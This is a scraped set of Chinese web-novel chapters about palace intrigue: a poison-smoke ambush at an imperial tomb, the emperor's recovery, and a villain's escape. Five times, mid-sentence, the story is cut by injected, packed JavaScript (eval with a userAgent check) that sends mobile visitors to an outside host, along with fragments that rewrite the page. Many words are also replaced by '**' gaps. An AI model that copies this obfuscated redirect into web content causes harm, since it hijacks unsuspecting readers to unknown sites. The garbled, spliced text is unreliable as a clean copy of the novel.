夫妻俩接着又把五具尸体全拖进墓穴中。 “凌儿,他们还有多少人?”墓穴中伸手不见五指,但尉迟晟还是听出儿子的脚步声,赶忙问道。 “上百人。” “如此之多?”尉迟晟声线忍不住颤抖。 “父皇安心待在这里,外面的事我和舒儿会解决。”尉迟凌低声安慰他。 “你们……你们务必当心!”尉迟晟摸到儿子面前,颤抖地抓住他的手臂。 “嗯。” 尉迟凌和夜时舒没有多留,很快出了墓穴。 许是前面这十二人在陵园中搜查得太久了,让外面守候的人没了耐心。没过多久,便又有不少脚步声传来。 尉迟凌和夜时舒正在搬挪那些柴禾,听到动静,夜时舒暗叫不妙,紧张地低声问道,“怎么办,这次来的比之前多!” 尉迟凌紧敛着双目,突然从袖中拿出一瓶药粉,快速地洒在柴堆上。 用火折子引燃柴堆后,他拉着夜时舒快速飞向了远处。 “快看!那里有火!”黑暗中有人高呼。 数十道黑影很快出现在火堆面前。 看着熊熊燃烧的柴堆,所有黑衣人都表示不解。 “谁干的?” 就在其中一人刚出声时,突然抬手捂住脑袋,表情痛苦不说,身体还不受控制地摇晃。 他身侧的黑衣人‘啊’地惊叫,“快捂住口鼻,这柴禾有毒!” 然而,一群黑衣人都在火堆面前,谁能想到这燃烧的火堆会有问题?于是一个皆一个‘咚咚咚’地全倒在了地上。 远处。 夜时舒小声问道,“王爷,我们现在不能过去灭火,可这火看着要烧好一会儿,万一父皇出来怎办?” 好在他们把柴堆从石洞边挪开了,那火堆烧出的毒烟不会直接往墓穴里灌。 尉迟凌低沉道,“不碍事,这毒烟只会让人四肢麻木,要不了命的。” 说着话,他手中突然多了一粒药丸,塞进夜时舒嘴里,“含着它,别说话。” 夜时舒点了点头。 在这漆黑的皇陵中,鬼火不少见,可正常的火焰和烟雾却是非同寻常的。 守在皇陵外的人望着远处的火光和黑烟,都表示不解。 于是一部分人影迅速跑进皇陵,想看看究竟发生了何事。 然而,凡是靠近火堆的人,无一人幸免,全都被烟雾中的毒熏倒在地。 一部分及时捂住了口鼻,吓得落荒而逃。 皇陵外。 面具男正在一处石头上打坐,太子妃许他荣华富贵让他务必解决帝王。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136974|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>可他真正想对付的人是承王! 见手下从皇陵中恐慌逃出,他飞身过去,怒问道,“发生何事了?” “主子……有……有毒……”一名手下指着远处的火光,“就那……” 面具男望去,一双眼瞳瞬间充满了阴鸷。 真不愧是华湘阁阁主,当真不好对付! 可再难对付,他今日也必须把承王拿下! “所有人捂住口鼻,全部随我进去!”他低吼着发号施令。 “是!” 就在近百的黑衣人准备一同冲进皇陵时,突然远处传来磅礴的马蹄声—— 面具男眯紧双目,一丝疑惑从目中浮现。 难道是太子妃嫌他动作慢,派人来增援他了? 然而,当快马靠近,看清楚领头的人时,他目中瞬间布满了慌乱。 “杀!” 看到如此多黑衣人,文岩和文墨真是气惨了,管他们是谁的人,直接就下了杀令。 骑着高头骏马的侍卫们一手抓着缰绳,一手持紧刀剑,汹涌地朝黑衣人杀去—— 面具男没有迟疑,直接展开轻功朝皇陵内飞去。 顾思沫怒道,“华平!这次看你往哪逃!” 她飞离马背,以最快的轻功追了去—— “芯儿!等等我!”夜时竣也赶紧追上去! 皇陵外,黑衣人们见主子跑了,立马就知道今日不会有什么好下场。可逃跑的路就一条,全被承王府的人马堵住了,于是乎,一个个也纷纷往皇陵内逃窜。 而皇陵内,那柴堆继续燃烧着,大火一点要收灭的趋势都没有。 黑烟随着夜风飘散、蔓延,几乎快笼罩了半座皇陵。 黑衣人跑进去后,不少人又被毒烟熏倒。 承王府的侍卫追进去,同样也中了招。 一时间,皇陵内大乱—— 而听到外面巨大的动静,尉迟晟猜测是儿子的援军到了,于是从墓穴中出来。 墓穴石洞口离柴堆最近了。 他一出来,还没看清楚周围的情景呢,突然痛苦地捂住头,然后往地上一倒—— “父皇!” 第157章 是要**吗? 夜时舒和尉迟凌听到远处兵刃相交的声音,知道是援兵来了。正准备去与援兵汇合,让自己认别靠近这里,哪曾想尉迟晟突然从墓穴里出来,看着他倒下,夫妻俩心脏都差点从嗓子眼里蹦出来了! 眼见那四个侍卫也要出来,夜时舒及时喝住他们,“在里面躲好,等外面毒气消了再出来!” 四个侍卫也吓得不轻,见尉迟凌抱起**的尉迟晟离开,也不敢出去添乱,只得回墓穴里去。 夜时舒跟在尉迟晟后面,一边往陵园入口的方向去一边扬声呼道,“所有人全部撤出皇陵!” 文岩和文墨带着侍卫正追杀黑衣人,见他们现身,立马听令收兵,纷纷退出皇陵。 “皇上!”夜庚新刚好赶到,见尉迟晟倒在尉迟凌怀中,且一脸痛苦,他也吓得不行,赶忙询问,“出何事了?皇上这是怎么了?” 尉迟凌沉声道,“快把华芯叫来!” 他嗓音刚落,夜时竣和顾思沫便从皇陵中跑了出来。 顾思沫原本是想追捕华平的,但进了皇陵才发现有毒气,为了夜时竣不受毒害,她只得放弃追捕。 见到尉迟晟痛苦抽搐的样子,顾思沫不用问都知道怎么回事,于是主动上前听候差使。 尉迟凌又沉声道,“所有人转过身去!” 有眼力劲儿的都看得出来华芯要救人,所以都顺从地转过身。 唯独夜时竣很好奇,还想凑上前细看。 夜时舒一把抓住他,强迫他转身,低声道,“二哥,救皇上要紧,有什么不明白的回去再说。” 没有人看到顾思沫是如何救人的,只听到不多时尉迟凌招呼了一句,“可以了。” 大家纷纷转回身,就见尉迟晟的手脚不但停止了抽搐,神色也不再痛苦,只不过呼吸还有些粗重。 尉迟凌借着为他擦汗的动作不着痕迹地擦去他嘴角的一滴红色。 而顾思沫沉默地退后。 夜时竣看到她右手捂着左手腕,他先是皱眉,接着反应过来,赶紧将她搂到一旁去。 “芯儿……”他托起她的左手腕,掀开她遮挡的衣袖,果然如他想的那样,于是拿出怀里的手帕快速为她包扎止血,“疼吗?” “没事。”顾思沫朝他笑了笑,“只不过这法子救不了太多人,其他**的侍卫,只能等回去再做解药。” 夜时竣又快速放下她的衣袖,生怕被人看到。 毕竟**的侍卫不少,要是知道他媳妇的血可以解毒,那还不得把他媳妇撕来生吃了? 他也不往人前凑了,就搂着顾思沫在角落边,同时还用自己高大的身体把顾思沫挡得严严实实的,不给任何人看到。 好在大家的注意力都集中在尉迟晟身上,待尉迟晟情况好转后,在尉迟凌安排下,由他和夜庚新、夜时珽带领大部分侍卫护送尉迟晟回城。 夜时舒、夜时竣、顾思沫、文岩、文墨、九姑则是带着一部分侍卫留在皇陵。 …… 皇宫里。 乾宁宫外一直充满剑拔**张的气氛。 澜贵妃带着自己的人要闯乾宁宫,说什么也要见到尉迟晟。 齐绥和吴钺自是不同意。 尉迟睿指着他二人怒骂,“你们百般阻挠,不让我们见父皇一眼,定是父皇出了意外,你们为了掩人耳目,所以才这般?” 吴钺与他们讲理都讲得口齿快冒烟了,最后干脆不回应了,只紧紧地抓着剑柄,随时应对他们的过激行为。 齐绥翻来覆去也只剩一句话,“皇上正休息,说不见任何人就不见任何人!” 澜贵妃已经知道尉迟晟不在宫中,且也知道尉迟晟这会儿在何处,自然有足够的底气,索性直接给他们扣上罪名,“你们两个叛臣贼子,皇上定是叫你们给害了!太子,你速派人去宣大臣进宫,让众大臣来审问这两个胆大包天的叛臣贼子!” 尉迟睿刚要转身。 突然祝华凝的大宫女匆匆赶来,径直到他耳边低语。 尉迟睿一听,整张脸瞬间扭曲。 接着他又把澜贵妃拉到一旁低语。 澜贵妃听后,脸色不比他好看,“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136975|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们如何得到的消息?”接着她咬牙低声咒骂,“那人真是废物!” 他们怎么也没想到,承王府和致和将军府的人会如此迅速地得到消息并前去援救…… 还有那个华平…… 她以为有多厉害,没想到竟然被承王府和致和将军府的人杀得躲进了皇陵! 太子妃派人来通报他们,说白了就是告诉他们,承王和夜庚新都是手握兵权的人,他们安排的后手不能轻易出手了,万一大军压后,他们失败是小,暴露了才是大事! 澜贵妃深吸一口气。 天知道她有多不甘心,可不知帝王生死的情况下,她再不甘也只能退缩。 在尉迟睿给她使了个眼色后,她突然按压着太阳穴,故意做出一副难受的模样。 尉迟睿搀扶着她,朝陈嬷嬷和宫人急声喊道,“娘娘被气坏了!来人啊,快扶娘娘回澜霞宫!” 陈嬷嬷和宫人赶忙簇拥着澜贵妃离开。 尉迟睿重新回到齐绥和吴钺面前,指着他们威胁,“本宫姑且再信你们一次,你们最好祈祷父皇没事,若明日天亮我们还见不到父皇,到时别怪本宫亲手摘了你们项上人头!” 说完,他带着东宫的人也离开了乾宁宫。 目送他们离去后,齐绥一屁股瘫坐在地上,大口喘气。 吴钺也狠狠地呼出几口气。 两人相视一眼,眼中都充满了无奈和忧愁。 究竟皇上何时才回来啊…… 二人短暂的休息过后,又继续打起十二分精神。他们现在不怕别的,就怕太子和澜贵妃折返回来硬闯。 四更左右。 就在侍卫们都倍感疲惫时,一顶小轿被人抬着突然出现在乾宁宫大门外。 因为澜贵妃和太子来闹过,齐绥特意叫人撤了大门口的宫灯,所以一时间看不清对方模样,只看到黑压压的一大片人影,齐绥和吴钺吓了一跳,以为是太子和澜贵妃又带人来了—— “太子,你这般带人来,是要**吗?”齐绥尖利的嗓门刺耳欲聋,是真被气得不轻。 第158章 你不是担心朕吗? “谁要**?”尉迟晟被扶着走出轿子,没好气地问道。 “皇……皇上……”齐绥又惊又喜,撒开腿奔跑过去,膝盖落在尉迟晟面前,抱着他的腿便哭了起来,“您再不回来奴才怕是见不着明日的太阳了啊……” 吴钺急速上前,沉声禀道,“皇上,澜贵妃和太子殿下来乾宁宫闹了三次,微臣和齐公公快拦不住了!” 黑暗中,尉迟晟的脸色黯冷,语气也分外冷冽,“进去说!” 扶着他的尉迟凌忍不住开口,“父皇慢些,您刚恢复。” 刚恢复…… 恢复什么? 齐绥和吴钺都不解地望着尉迟晟。 但尉迟晟没再多说什么,在儿子的搀扶下进了自己的寝宫。 齐绥和吴钺这才发现抬轿的轿夫竟是夜庚新和夜时珽。 “夜将军?夜大公子?” “吴统领、齐公公,这里说话不便,进去说吧。”夜庚新招呼完,也带着儿子快速进了寝宫。 尉迟晟的毒是解了,但多少伤了些元气,尉迟凌让他躺上龙床,转头命内侍准备笔墨。 他在纸上写了几样东西,然后交给齐绥,“让陆院使去准备这几样东西,煎好就送来!” “是!”齐绥进来后也瞧见尉迟晟气色不对劲儿,他不敢迟疑,接过纸便快速退下。 “吴钺!”尉迟晟冷声唤道。 “皇上,微臣在!”吴钺上前听命。 “朕不在宫中,宫中可有异样?你与朕详细道来!” 吴钺憋了一天一夜,这会儿跟倒苦水一样把发生的事仔仔细细地讲述了一遍。 讲完,他垂下肩发自肺腑地叹了口气,“皇上,澜贵妃和太子殿下太能闹了,幸好太子无权点兵,要是他能点兵,您这会儿回来只怕微臣和齐公公已经被扣上谋害君王的罪名且人头落地了……” 尉迟晟龙颜黑如石墨,一口牙都磨响了! 早年澜贵妃任性,偶尔也带着些泼辣,他都没放在心上。毕竟后宫事务繁多,他在朝中都管不住脾气,又如何能要求澜贵妃毫无脾性? 然而,经历了这一次皇陵的事,让他不得不重新审视澜贵妃的为人品性! 特别是听到吴钺这声感叹,他内心忍不住升起一股强烈的寒意。如果今日太子手握兵权,他是不是就要‘长眠’于自己的陵墓中了? “吴钺听命!把澜贵妃和太子拿下!打入天牢!” 不等吴钺领命,尉迟凌沉声道,“父皇切莫冲动!” 尉迟晟抬手指着门外,激动地道,“这两个混账东西,你叫朕如何能再忍他们?” 还用查吗? 太子一定是澜贵妃的亲生子! 胆敢做出这种调换嫡子之事,意图颠覆朝纲,他就算杀澜贵妃十次都不够解气! 尉迟凌道,“父皇,还有诸多事没有查明清楚,您若现在对他们出手,朝臣定会有异议。而您现在手中毫无证据,无法服众。” 尉迟晟闭上眼让自己冷静。 确实。 他现在毫无证据证明澜贵妃调换了皇后的孩子。 就算让承王与澜贵妃滴血验亲,至多也只能证明承王不是澜贵妃所生,到时反而对承王不利。 最重要的是,无凭无证的情况下,会让朝堂动荡不安! 尉迟凌又道,“父皇,若您信得过儿臣,就按儿臣之前的提议去做吧,儿臣会让他们原形毕露的。到时他们百口莫辩,您再发落也不迟。” 尉迟晟睁开眼,有些不甘心地看着他,“难道皇陵的事也要朕忍着?” “丞相府勾结华平,我们心中有数。但没有逮住华平,您就算对丞相严刑拷打,他也不会承认。何况丞相在朝中根基壮大,要拔掉他本就不易。儿臣知道您今日受了苦罪,心中怒火难消,但您从即日起对他们严加防范也不迟。” 看着儿子那正色且沉冷的脸庞,真是像极了年轻时候的他,尉迟晟突然就笑了。 若方济天师说的话是真的,那江山社稷交到这个儿子手中,大邺国将来繁荣永昌还用愁吗? 想来,他还真要感谢澜贵妃,是她的私心和偏心,把他这个儿子逼得如此优秀。一个文能安邦、武能定国、且能医擅毒的君王,谁人能敌? “承王听令!” “儿臣在。” “即日起你接替大学士之职,今年科考由你担任主考,给朕仔细挑选栋梁之才!” 尉迟凌愣了一下,皱眉道,“父皇,儿臣……” 然,不等他说完,尉迟晟便冷着脸打断,“这是朕的命令!” 夜庚新和夜时珽父子俩在一旁看得也有些傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136976|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 承王只有兵权,在朝中并无其他职位,皇上突然让他入朝担职这没有什么不妥,可一下子委以如此重任,这是要做什么? 尉迟凌垂下眼眸,应道,“谢父皇隆恩。”余光瞥到陆长青来了,他随即请示道,“父皇,皇陵还有不少**的侍卫急需解药,儿臣先行回府了。” 尉迟晟想到皇陵那里的事还没解决,也不好多留他。 夜庚新和夜时珽父子俩也没多留,随尉迟凌一同离开了皇宫。 他们一走,尉迟晟便吩咐吴钺,“去告诉澜贵妃,就说朕醒了!” “是。” 没过多久,澜贵妃带着宫人再次来到乾宁宫。 看着正喝汤药的尉迟晟,她微微一愣,接着带上一张欲哭的脸上前,哽咽道,“皇上,您可算醒了!您都不知道,您这一病,都快吓死臣妾了!” 尉迟晟紧记着儿子的话,将恨意掩饰得极好,只是板着脸说道,“朕睡梦中隐隐约约听到吵闹声,可是你在惊扰朕?” 澜贵妃委屈得掉下了眼泪,“皇上,臣妾一天一夜未能见到您,心中着实不安,可齐绥和吴钺就似吃了秤砣,说什么也不让臣妾进来,臣妾不得已才与他们理了几句。” 心下,要说她不虚,自然是假的。 先前回到澜霞宫,她深刻地总结,一是这次帝王临时出宫,他们也是临时起意,并没有多的准备。其二是她与华平从未接触过,不知其人真正的底细,对其期望过大。 她现在只能安慰自己,以后有的是机会…… “澜贵妃有心了,既然你如此在乎朕,那你便留在乾宁宫侍疾吧。”尉迟晟把药碗递给她。 啊? 澜贵妃僵住。 她一天一夜没合眼,现在要她侍疾? “怎么,不愿意侍疾?你不是担心朕吗?”尉迟晟斜了她一眼,随即改口,“既然你不愿意,那就把妍妃叫来,朕好几日都没见着她,也不知道她这几日胎象可稳。她养胎,朕养病,正好一同休养,还能相互解闷。” 澜贵妃想吐血。 她能便宜妍妃那**吗? “皇上,妍妃妹妹怀着龙嗣呢,可别让她受累了,还是臣妾陪您吧。” “那好,你让齐绥去御书房把奏折拿来,你陪朕批阅奏折吧。” 第159章 难道生下他只是为了让他做个摆件? 澜贵妃只能忍着困意陪他。 尉迟晟在回程的路上在儿子怀里晕睡了一路,刚又喝了补气的汤药,这会儿虽然气色还没有完全恢复,可精神头却充沛得很。 他**着批阅奏折倒是轻松,可澜贵妃在一旁却如同酷刑,一会儿要研墨、一会儿要斟茶,还要伺候尉迟晟点心宵夜,别说合眼了,就是坐都没机会坐一下。 “皇上,贵妃娘娘忙了一宿,要不奴婢代她伺候您可好?”陈嬷嬷实在心疼,忍不住上前请示。 尉迟晟翻阅奏折的手一顿,抬眼瞪向她,“朕也一宿没睡,怎不觉累?”接着他朝澜贵妃看去,“爱妃,可是困倦了?若你觉得困倦,便让人把妍妃叫过来吧。” 澜贵妃心里恨得要死。 妍妃那**仗着怀有龙嗣已经在后宫中渐露风头,如果再让那**到皇上跟前献殷勤,那这后宫还有她说话的份吗? 面上,她努力地展现自己的体贴,“皇上,您别动不动就让妍妃妹妹来,她是双身子,您不心疼她劳累,臣妾还心疼呢!” 不得不说,被尉迟晟如此一刺激,她瞌睡虫都**一大半。 陈嬷嬷也不敢说话了,安静地退到门外。 尉迟晟放下手中的奏折,说道,“爱妃,大学士邹立辉年事已高,已向朕请旨告老还乡。朕准备让承王担任大学士之职,你以下如何?” 澜贵妃一听,脱口道,“皇上,凌儿只懂行兵打仗,这大学士之职他如何担得起?” 尉迟晟没好气地道,“如何担不起?邹立辉是承王的启蒙老师,承王虽年少便入了军营,可他入军营前,文采斐然,深得朝中大臣赞许,邹立辉更是赞叹承王是不可多得的天才!” “可是……” “爱妃是担心太子有异议?”尉迟晟语气陡然变得严肃,“如果他不满,朕可以让他和承王比试。承王十岁便入了军营,如果太子连文墨都不及承王,那朕就得考虑储君之位是否该换人了!” 澜贵妃心口一紧,原本在心中酝酿的反对的话一句都说不出来。 她当然知道承王自幼天赋异禀,正因为如此,她才努力说服承王从军,避免他在学识上抢了太子的风头…… 虽然承王后面十余年都在军营,可谁也不能保证他肚子里墨水干涸。 反观太子,这十余年过得太顺遂,且没了承王比较后,他也极少钻研书册。 如果让太子和承王比试文墨,她还真是一点把握都没有。 最重要的是,如此比试,一旦太子落下风,别说皇上嫌弃,只怕朝中大臣也会对太子这个储君心存非议。 她敢赌吗? 不敢! “皇上,臣妾可没有说太子会有异议,臣妾只是觉得凌儿习惯了军中的日子,您一下子让他从文帮您处理国事,这不但与他**好相悖,还会引得朝中大臣不满。依臣妾看,您不如先让凌儿去兵部,待他有所作为后再委以他重任也不迟。” “朕说了,若有谁不满,可与承王比试,朕对承王有信心。”尉迟晟双目微眯,突然反问她,“你对自己的亲生子就如此没信心吗?” “臣妾怎可能对凌儿没信心,臣妾只是……” “凌儿的才干朕清楚,如此文韬武略的儿子,朕不寄予厚望、委以重用,难道生下他只是为了让他做个摆件?”尉迟晟语气多了一丝严厉,“贵妃,你别忘了凌儿是你的亲生子!” 面对他犀利如剑的眼神,澜贵妃心下慌乱了起来。 难道皇上带着承王去皇陵,已经查出什么了吗? 她努力地让自己保持冷静,仔细地分析后又否认了自己的猜测。如果皇上真掌握了什么证据,绝对不会如此沉稳,肯定第一时间就废了太子,怎可能这般耐心地同她商议承**职的事…… “皇上,臣妾原本是不想让凌儿太出风头的,既然您如此看重凌儿,那臣妾就替凌儿谢主隆恩。您放心,回头臣妾一定督促凌儿,让他多为您分忧国事,不辜负您对他的厚望。”澜贵妃挤着笑脸福身。 “天亮了,你忙了一宿,也该回澜霞宫休息了。”尉迟晟神色也温和了起来,还把陈嬷嬷叫了进来,吩咐陈嬷嬷,“贵妃操劳后宫,还要为朕分忧,着实辛苦,记得让御书房多做些补身的给贵妃用。” “是。”陈嬷嬷恭敬应道。 “皇上,臣妾告退。” “皇上,奴婢告退。” 目送主仆离开后,尉迟晟又招了齐绥进来。 见他要拟旨,齐绥小心翼翼地问道,“皇上,如此您就不担心太子心生嫉妒吗?” 尉迟晟冷冷一笑,“朕就怕他不嫉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136977|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妒!如果他们真与华平勾结要在皇陵对朕动手,那就足以证明他们心虚了!朕早晚要废太子,现在就是给他们嫉妒的机会,让他们嫉妒成狂自露马脚!” 齐绥心里有了数,也不再说什么,领了圣旨便退下了。 …… 出了乾宁宫,澜贵妃不仅瞌睡全无,还气血上头,要陈嬷嬷立马去把太子和太子妃找来。 陈嬷嬷前后左右各扫了一遍,确定没人跟踪后才压着嗓音对澜贵妃说道,“娘娘,皇上一定是起疑心了,您就听奴婢的,暂时什么都别做,行吗?” 不得不说,‘疑心’二字真是戳中了澜贵妃内心的惧意,再联系起尉迟晟对承王的态度,她只觉得一股寒气入体,忍不住狠狠哆嗦。 “娘娘,我们都知道皇上去了皇陵,可皇上回来什么也没说,这就表示皇上没有任何发现。您这次一定要听奴婢的,往后对承王好一些,别再把对太子的在意表现得那般明显。” 澜贵妃咬着牙点了点头,“本宫知道了。” 回到澜霞宫,陈嬷嬷扶她上了凤榻,她刚睡下突然又坐起身。 “娘娘,怎么了?” “嬷嬷,你亲自挑几个身手高强的人前往济州。” “济州?”陈嬷嬷愣了一下,随即反应过来,“娘娘,您是想派人……” 澜贵妃一脸阴沉,“卫国公一家是皇后的至亲,本宫当初太过自信才没有对国公府斩草除根,只游说卫国公回济州安享晚年。如今来看,是本宫仁慈了。承王身上流着卫国公的血,就不该让卫国公一家活在世上!” 陈嬷嬷虽多番劝阻她冷静,但这一次她并没有劝阻,同样阴沉着脸点头,“娘娘放心吧,奴婢定会安排人悄无声息地把他们做掉!” …… 皇陵。 夜时舒他们守了一夜,天亮后,太阳升起,皇陵中的毒气也很快散去。 尉迟凌和夜庚新、夜时珽也返回了皇陵。 两府的侍卫放开手脚攻进皇陵中,救人的救人,杀敌的杀敌。华平那百来名手下,除了少数的没**外,其他都**瘫了。 可以说,没费什么力就把人全部拿下了。 只是,面对百来名黑衣人,不论是死的、瘫的、还是活的,都让夜时舒他们为难。 因为没人见过华平! 第160章 我还会再回来的! 他们之中,也就顾思沫和夜时竣昨晚看到一个脸上戴着银质面具的男子…… 这特征还是听游宏馨和马氏描述的。 现在所抓的黑衣人中,没一个戴面具的,这叫他们如何分辨? 顾思沫到尉迟凌和夜时舒面前,为难地道,“王爷、小妹,这华平是老阁主在位时逐出华湘阁的,我只听说过其名,没见过其真容,且这些黑衣人我都一一查看了,都没有易容的痕迹,现在无法确定华平是否混在这些黑衣人中。” 尉迟凌从袖中拿出一卷画,递给她。 顾思沫惊喜不已地展开,“王爷真有先见之明,竟然早就拿到了华平的画像! 夜时舒凑近她看起了画像。 画上的人很年轻,模样也很清秀,按照华平被逐出华湘阁的时间,这应该是华平年轻时的模样。 夜时舒脑海中装满了华平害人时的模样,看着画上的人,都没法将那个伙同温氏、葛氏毒杀她母亲的仇人重叠在一起。 “王爷,这画哪来的?”她皱着眉问尉迟凌。 “从老阁主的遗物中找出来的。” 夜时舒看着画上右下角的小字,不但有华平的名字,还有他擅长的本事,竟然是炼丹。 而华平被逐出华湘阁的原因是私炼丹药谋取暴利。 “这十多年前过去了,也不知道华平变化了多少,我先拿着画像再去比对,看看能否把人找出来!”顾思沫说完又往看押黑衣人的方向跑去。 “我也去!”夜时舒拔腿追。 尉迟凌望着她的背影,也提脚跟了上去。 黑衣人被分置三处,**的堆在一处,**的在一处,活着的皆被绳索五花大绑在另一处。 顾思沫拿着画像先比对活着的,没有发现有相似的。 再比对那些**的,还是没有。 最后她到**堆,一个一个查看。 夜时舒跟在她后面,跟她一起翻人头颅,可看来看去还是没有找到与画像相似的人。 “二嫂,那华平轻功极高,说不定没有藏在这些人之中,而是躲了起来。” “这家伙实在太狡猾了!”顾思沫骂道。 正在这时,夜时珽和夜时竣带着侍卫来到他们面前。 顾思沫忙询问夜时竣,“怎样?可有发现漏网之鱼?” 夜时竣摇头,“能找的地方都找了,没有发现漏网之鱼。” 夜时珽朝尉迟凌看去,问道,“王爷,这些人该如何处置?” 尉迟凌眸光冷冽地扫了一圈,冷声溢道,“杀无赦!” 那些活口都审问过了,据他们自己交代,他们都是来自京城外的流民,是华平招揽他们,并主动给银子养着他们。 这些人平日里不是在市井做贼,就是在山中做匪,专干鸡鸣狗盗、打家劫舍之恶事,可谓是劣迹斑斑、恶贯满盈! 随着他一声令下,承王府的侍卫很快便解决了二十余个活口。 夜时舒到尉迟凌身旁。 看着她沉着脸不发一言,尉迟凌哪能不明白她的失望,握着她手低声道,“放心吧,本王一定会抓住他的!” 傍晚,浩浩荡荡的队伍离开了皇陵。 夜幕降临,皇陵又恢复了以往的阴沉静谧。 山崖边的一座陵墓旁,原本平坦的地面突然颤动,紧接着一道黑影破土而出。 月色下,男人半张脸腐烂不堪,一双眼睛阴戾无比地望着某个方向,披散的乱发及一身黑衣上全是泥土,整个人犹如地狱逃出来的恶鬼般恐怖骇人…… 然而,就在他准备朝皇陵出口的方向飞去时,四道身影突然从天而降,前后左右将他包围。 “你们没走?!”男人震惊地瞪着他们。 “华平!”夜时舒没有与他废话,憎恨地质问他,“为何要帮温氏和葛氏毒害我母亲?” 华平偏头看着她,似想起什么,突然‘哈哈’一笑,“你说的是将军夫人?她死可怨不得我,要怨只能怨她蠢!那葛氏早就盯上她的钱财,故意叫人去刺杀她,然后假扮路见不平替她挡剑… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136978|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …哈哈!没见过那般蠢的人!把毒妇当恩人和姐妹,还把亲生女儿许配给对方的儿子!” “至于我帮温氏做事,自然是她救过我的命。”华平突然阴狠地瞪着尉迟凌,“那道貌岸然的老东西,在外装得一副菩萨心肠,对自己的弟子那真是冷血无情!我不过就是偷偷炼了些丹药换银子,他便要断我筋脉废我功力,要不是温氏恰巧路过,无意中打断他让我有机会逃跑,我现在还真就是一个废人!” “你这助纣为虐残害无辜的狗东西——”夜时竣再难忍下去了,挥起利剑就朝他刺去! 华平轻功一闪,下一瞬落在山崖边。 “我还会再回来的,到时就是你们的死期!” 尉迟凌、夜时舒、夜时竣和顾思沫都看出他的意图,几乎是同时出手攻向他。 可随着华平狠厉的誓言一出,他人已经飞下山崖—— 四人望着黑不见底的崖下,都不甘心地咬紧了牙。 最终还是尉迟凌先开口,“回去吧,华湘阁的弟子会清理门户的。” …… 他们四人回到王府已是子时。 看到齐绥在王府里等他们,夜时舒忙上前招呼他,“公公,你怎么来了?父皇可还好?” 齐绥笑着说道,“皇上龙体已无碍,老奴是奉命给承王殿下送圣旨来的。” 夜时舒恭敬地接过圣旨,展开一看,本以为是帝王颁下什么赏赐,没想到竟是给她男人的任命旨意。 “大学士……”她回头望着尉迟凌,满眼都是疑问。 给他这么重要的一个官阶,父皇这是要做什么? 故意刺激澜贵妃和太子**吗? 尉迟凌上前,面无表情地道,“有劳公公替我转达父皇,我近期身子抱恙,需要静养。” 齐绥皱起眉,一边打量他一边不解地问道,“王爷,您这是?” “我和王妃要去一趟济州!” “去济州做什么?”夜时舒也不解地问他。 “去接卫国公回京。” 第161章 听墙角受刺激了 齐绥回宫了。 夜时舒和顾思沫分别回房收拾细软,准备天亮开城时就出城。 夜时竣被尉迟凌叫去了书房。 看着书桌上摆放的宝剑,他激动得不已,摸着剑鞘上栩栩如生的龙纹,就差口水直流了。 “王爷……这……这就是玉坤剑?” “嗯。” “你当真要送我?”夜时竣偷瞥着某妹夫的反应,生怕他反悔。 “此剑乃我皇祖父亲自铸造,曾伴两朝君王御驾亲征,父皇赠予我时,赋其使命除奸灭恶、护国卫民。”尉迟凌拿起宝剑递给他。 夜时竣挺了挺背脊,双手郑重接过,“王爷放心,时竣定不辱其使命!” 